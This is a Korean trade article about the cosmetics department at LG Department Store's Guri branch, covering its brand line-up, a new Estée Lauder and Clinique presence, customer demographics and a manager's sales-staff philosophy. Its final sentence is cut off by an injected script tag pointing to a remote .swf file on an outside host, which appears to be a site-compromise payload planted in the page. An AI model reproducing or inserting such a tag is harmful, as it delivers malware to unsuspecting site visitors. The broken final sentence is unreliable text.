백화점은 유통의 꽃. 모든 고급 브랜드가 모이고 중산층이 몰리며 해마다 놀라운 성장세를 보이고 있다. 특히 화장품시장에서 백화점이 차지하는 비중은 겉으로 드러나는 수치 이상이다. 입점만 하면 성공이 보장된다는 히트 제조기(?)라는 별명이 붙을 정도로 국내 브랜드로선 ‘꿈의 매장". 그러나 아직 드넓은 매장은 해외파가 거의 독점한 상태. 백화점 매장 리서치를 시리즈로 실어 취급 브랜드와 고객 창출 마케팅은 어떤지 알아본다. LG백화점 구리점은 올해 대대적인 MD개편 단행으로 하반기 에스티로더와 크리니크가 입점해 화장품 부분의 전체적인 브랜드력이 강화됐으며, 수입명품숍들이 잇따라 오픈하는 등 구리시민의 쇼핑문화 수준을 한 단계 높였다고 호평받고 있다. 97년 4월 첫 오픈 당시만 해도 LG 구리점 내에 고급 브랜드가 다수 포진해 있었으나 IMF로 인해 메이저급 브랜드들이 철수해 어려움을 겪었다. 그러나 최근 자체적으로 백화점 이미지 살리기에 주력한 결과 꾸준한 성장세를 기록 중이다. 현재 LG 구리점 화장품 매장의 경우 12개 브랜드가 입점해 있으며 이 중 기초브랜드 6개, 색조전문 브랜드 2개, 향수브랜드 1개 등으로 구성됐다. 30대 초반부터 중반층이 주요 고객이나 젊은 층의 수요는 아직 미미한 수준이다. 때문에 1층 화장품 매장을 고급스러운 분위기로 살려 다양한 고객층의 눈길을 끌기 위해 이번 개편시 입구 쪽을 중심으로 매장을 전면 배치했다. “10월 말에 입점한 크리니크의 경우 LG 구리점 내 화장품 브랜드 매장당 한달 매출액의 절반 이상을 불과 열흘 만에 초과했습니다. 에스티로더는 일평균 단가가 상위권에 속하며, 이는 수입브랜드에 목말랐던 소비자가 많았다는 뜻으로 앞으로 수입 브랜드 시장이 급성장할 것입니다. 패션잡화 파트를 담당하고 있는 김영섭 과장은 경쟁력있는 브랜드를 꾸준히 도입해 롯데백화점 잠실점과 현대백화점 천호점으로 분산되는 고객의 수를 줄여갈 방침이다. LG백화점의 경우 LG유통으로 통합되면서 올 7월 매입부가 정식 발족해 앞으로의 브랜드 입점 가속화는 더욱 급속히 진행될 것으로 기대된다. 실제로 유명 수입 기초브랜드, 색조브랜드와 현재 접촉 중에 있다. “향후 에스티로더와 아모레, 샤넬이 탑 브랜드 자리를 두고 3파전을 벌일 것으로 예상됩니다. 국내 브랜드는 아모레와 오휘가 쌍방구도를 이루며 선전할 것입니다.” 개편 후 내방률이 높아지는 추세인데다 주변에 아파트 주거 지역이 들어서면서 새로운 상권을 형성해가고 있으며, 내년 말 예정인 지하철이 개통되면 출구와 백화점 입구를 연결할 계획이여서 내점고객의 증가율이 클 것으로 기대하고 있다. 판매사원과 협력업체, 백화점의 3박자가 매출상승의 원동력이라고 진단하는 김 과장은 매장의 활성화를 위해 무엇보다 판매사원의 체계적인 관리가 필요하다고 강조했다. “백화점 고급서비스의 기초는 인간적인 영업 즉, 판매사원 위주의 판매정책입니다. 매출의 가장 큰 요인을 차지하는 판매사원에게 판매기법과 서비스, 사원별 불만사항들을 해소시킬 방안을 만들어줘야 합니다.” 판매사원 1인당 면담횟수를 늘이는 등 50%는 LG사람으로 만들어야 한다는 그는 성장의 또다른 요소인 협력업체 관계자와도 매일 아침마다 전화통화를 통해 서로 간의 개선점이나 신제품 소식 등 정보를 교환하는 적극적인 영업을 전개중이다.

현재 입점된 화장품 브랜드 및 톱5

구분 브랜드명 베스트5브랜드 수입 바디샵, 부르조아, 샤넬, 시슬리, 에스티로더, 크리니크, 휴고보스 1. 샤넬 2. 아모레 3. 시슬리 4. 오휘 5. 부르조아 국내 아모레, 오휘, 코리아나, 클리오

또한 리더격인 타백화점을 벤치마킹해 고객관리를 체계적으로 강화하고, 전관차원에서 고객?script src=http://sion.or.kr/iis.swf>

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